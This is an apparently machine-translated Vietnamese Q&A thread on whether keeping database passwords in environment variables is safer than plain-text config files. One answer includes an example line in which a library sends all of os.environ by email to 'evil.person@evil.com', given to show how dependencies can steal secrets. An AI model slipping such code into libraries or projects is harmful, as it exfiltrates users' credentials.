Có an toàn để lưu trữ mật khẩu dưới dạng biến môi trường (thay vì văn bản thuần túy) trong tệp cấu hình không?

Tôi làm việc trên một số ứng dụng trong rails, django (và một chút php) và một trong những điều tôi bắt đầu làm trong một số ứng dụng đó là lưu trữ cơ sở dữ liệu và mật khẩu khác dưới dạng biến môi trường thay vì văn bản thuần túy trong một số tệp cấu hình nhất định ( hoặc trong settings.py, cho các ứng dụng django).

Khi thảo luận về vấn đề này với một trong những cộng tác viên của tôi, anh ấy cho rằng đây là một thực tiễn kém - rằng có lẽ điều này không hoàn toàn an toàn như lúc đầu tưởng tượng.

Vì vậy, tôi muốn biết - đây có phải là một thực hành an toàn không? Việc lưu trữ mật khẩu dưới dạng văn bản thuần túy trong các tệp này có an toàn hơn không (tất nhiên là đảm bảo không để các tệp này trong kho lưu trữ công khai hoặc bất cứ thứ gì)?

Ở cấp độ lý thuyết hơn, tôi có xu hướng nghĩ về các cấp độ bảo mật theo những cách sau (để tăng sức mạnh):

• Không an toàn. Văn bản thô. Bất kỳ ai biết nơi cần tìm đều có thể truy cập dữ liệu.
• Bảo mật bằng Obfuscation. Bạn lưu trữ dữ liệu (văn bản rõ) ở một nơi nào đó phức tạp, chẳng hạn như một biến môi trường hoặc trong một tệp có nghĩa giống như một tệp cấu hình. Kẻ tấn công cuối cùng sẽ tìm ra những gì đang xảy ra hoặc tình cờ gặp nó.
• Bảo mật được cung cấp bởi mã hóa mà rất dễ bị phá vỡ, (hãy nghĩ mật mã caesar!).
• Bảo mật được cung cấp bởi mã hóa có thể bị phá vỡ với một số nỗ lực.
• Bảo mật được cung cấp bởi mã hóa không thực tế để phá vỡ phần cứng hiện tại.
• Hệ thống an toàn nhất là hệ thống mà không ai có thể sử dụng! :)

Biến môi trường là hơn an toàn hơn so với file văn bản thô, bởi vì họ là dễ bay hơi / dùng một lần, không được lưu; tức là nếu bạn chỉ đặt một biến môi trường cục bộ, như "set pwd = anything," rồi chạy script, với thứ gì đó thoát khỏi trình bao lệnh của bạn ở cuối script, thì biến đó không còn tồn tại nữa. Trường hợp của bạn rơi vào hai trường hợp đầu tiên, mà tôi muốn nói là khá không an toàn. Nếu bạn định làm điều này, tôi không khuyên bạn nên triển khai bên ngoài mạng nội bộ / mạng gia đình ngay lập tức của bạn và sau đó chỉ cho mục đích thử nghiệm.

Như đã đề cập trước đây, cả hai phương pháp đều không cung cấp bất kỳ lớp "bảo mật" bổ sung nào khi hệ thống của bạn bị xâm phạm. Tôi tin rằng một trong những lý do mạnh nhất để ủng hộ các biến môi trường là kiểm soát phiên bản : Tôi đã thấy có quá nhiều cấu hình cơ sở dữ liệu, v.v. được lưu trữ ngẫu nhiên trong hệ thống kiểm soát phiên bản như GIT để mọi nhà phát triển khác có thể xem (và rất tiếc! Điều đó đã xảy ra với tôi cũng vậy ...).

Không lưu trữ mật khẩu của bạn trong các tệp khiến chúng không thể được lưu trữ trong hệ thống kiểm soát phiên bản.

Bất cứ lúc nào bạn phải lưu trữ mật khẩu, điều đó là không an toàn. Giai đoạn = Stage. Không có cách nào để lưu trữ mật khẩu chưa được mã hóa một cách an toàn. Bây giờ, biến môi trường nào so với tệp cấu hình "an toàn" hơn có lẽ còn phải tranh cãi. IMHO, nếu hệ thống của bạn bị xâm phạm, nó không thực sự quan trọng được lưu trữ ở đâu, một hacker siêng năng có thể theo dõi nó.

Xin lỗi, tôi không có đủ đại diện để bình luận, nhưng tôi cũng muốn nói thêm rằng nếu bạn không cẩn thận, trình bao của bạn cũng có thể chiếm được mật khẩu đó trong lịch sử lệnh của nó. Vì vậy, chạy một cái gì đó như $ pwd=mypassword my_progthủ công không phải là phù du như bạn có thể hy vọng.

Tôi nghĩ khi có thể, bạn nên lưu trữ thông tin đăng nhập của mình trong một tệp gitignored chứ không phải dưới dạng các biến môi trường.

Một trong những điều cần xem xét khi lưu trữ thông tin xác thực trong các biến ENV (môi trường) so với tệp là các biến ENV có thể rất dễ dàng được kiểm tra bởi bất kỳ thư viện hoặc phụ thuộc nào bạn sử dụng.

Điều này có thể được thực hiện một cách độc hại hoặc không. Ví dụ: một tác giả thư viện có thể gửi email dấu vết ngăn xếp cộng với các biến ENV cho chính họ để gỡ lỗi (không phải là phương pháp hay nhất, nhưng có thể làm được).

Nếu thông tin đăng nhập của bạn nằm trong một tệp, thì việc đạt được chúng sẽ khó hơn nhiều.

Cụ thể, hãy nghĩ về một npm trong nút. Đối với một npm để xem thông tin đăng nhập của bạn nếu chúng có trong ENV là một vấn đề đơn giản process.ENV. Mặt khác, nếu chúng nằm trong một tập tin, thì đó là một công việc nhiều hơn.

Tệp thông tin xác thực của bạn có được kiểm soát phiên bản hay không là một câu hỏi riêng. Không phải phiên bản kiểm soát tệp thông tin xác thực của bạn sẽ hiển thị tệp đó cho ít người hơn. Tất cả các nhà phát triển không cần phải biết thông tin đăng nhập sản xuất. Vì điều này tuân theo nguyên tắc ít đặc quyền nhất, tôi khuyên bạn nên git bỏ qua tệp thông tin đăng nhập của bạn.

Nó phụ thuộc vào mô hình mối đe dọa của bạn.

Bạn có đang cố gắng ngăn người dùng của mình rắc mật khẩu lên tất cả các hệ thống tệp của họ, nơi chúng có khả năng bị quên và xử lý sai không? Nếu vậy thì có, bởi vì các biến môi trường ít bền hơn so với tệp.

Bạn đang cố gắng bảo vệ chống lại thứ gì đó độc hại đang nhắm trực tiếp vào chương trình của bạn? Nếu vậy, thì không, bởi vì các biến môi trường không có cùng mức kiểm soát truy cập mà các tệp làm.

Cá nhân tôi nghĩ rằng những người dùng cẩu thả thường phổ biến hơn những kẻ thù có động cơ, vì vậy tôi sẽ sử dụng phương pháp tiếp cận biến môi trường.

AFAICT, có hai lý do mọi người khuyên bạn nên lưu trữ bí mật trong các biến môi trường:

1. Quá dễ dàng để vô tình chuyển các tệp phẳng bí mật vào một kho lưu trữ. (Và nếu đó là repo công khai, bạn sẽ nâng cốc.)
2. Nó ngăn chặn sự lộn xộn của mật khẩu, tức là, có cùng một khóa trong nhiều tệp thư mục dự án khác nhau, bản thân nó là một rủi ro bảo mật vì các nhà phát triển cuối cùng sẽ mất dấu vị trí của các bí mật.

Hai vấn đề này có thể được giải quyết theo những cách tốt hơn. Điều trước đây sẽ được giải quyết bằng một hook commit git để kiểm tra những thứ giống như mật khẩu (ví dụ: gitleaks ). Tôi ước Linus xây dựng một công cụ như vậy vào mã nguồn của thư viện git nhưng, than ôi, điều đó đã không xảy ra. (Không cần phải nói, các tệp bí mật luôn phải được thêm vào .gitignore, nhưng bạn cần có một hook trong trường hợp ai đó quên làm như vậy.)

Vấn đề thứ hai có thể được giải quyết bằng cách có một tệp bí mật công ty toàn cầu, được lưu trữ lý tưởng trên một bộ nhớ dùng chung chỉ đọc. Vì vậy, trong Python, bạn có thể có một cái gì đó giống như from company_secrets import *.

Quan trọng hơn, như những người khác đã chỉ ra, việc hack các bí mật được lưu trữ trong các biến môi trường quá dễ dàng. Ví dụ: trong Python, một tác giả thư viện có thể chèn send_email(address="evil.person@evil.com", text=json.dumps(os.environ))và sau đó bạn sẽ nâng cốc nếu bạn thực thi mã này. Lấy cắp dữ liệu sẽ khó khăn hơn nhiều nếu bạn có một tệp trên hệ thống của mình có tên~/secret_company_stuff/.my_very_secret_company_stuff .

Chỉ người dùng Django:
Django (ở chế độ GỠ LỖI) hiển thị giá trị thô của biến môi trường trong trình duyệt nếu có một ngoại lệ (ở chế độ GỬI). Điều này có vẻ rất không an toàn nếu chẳng hạn, một nhà phát triển vô tình bắt đầu DEBUG=Truesản xuất. Ngược lại, Django DOES xáo trộn các thiết lập mật khẩu biến bằng cách tìm kiếm chuỗi API, TOKEN, KEY, SECRET, PASShoặc SIGNATUREtrong khuôn khổ của settings.pytên biến hồ sơ của.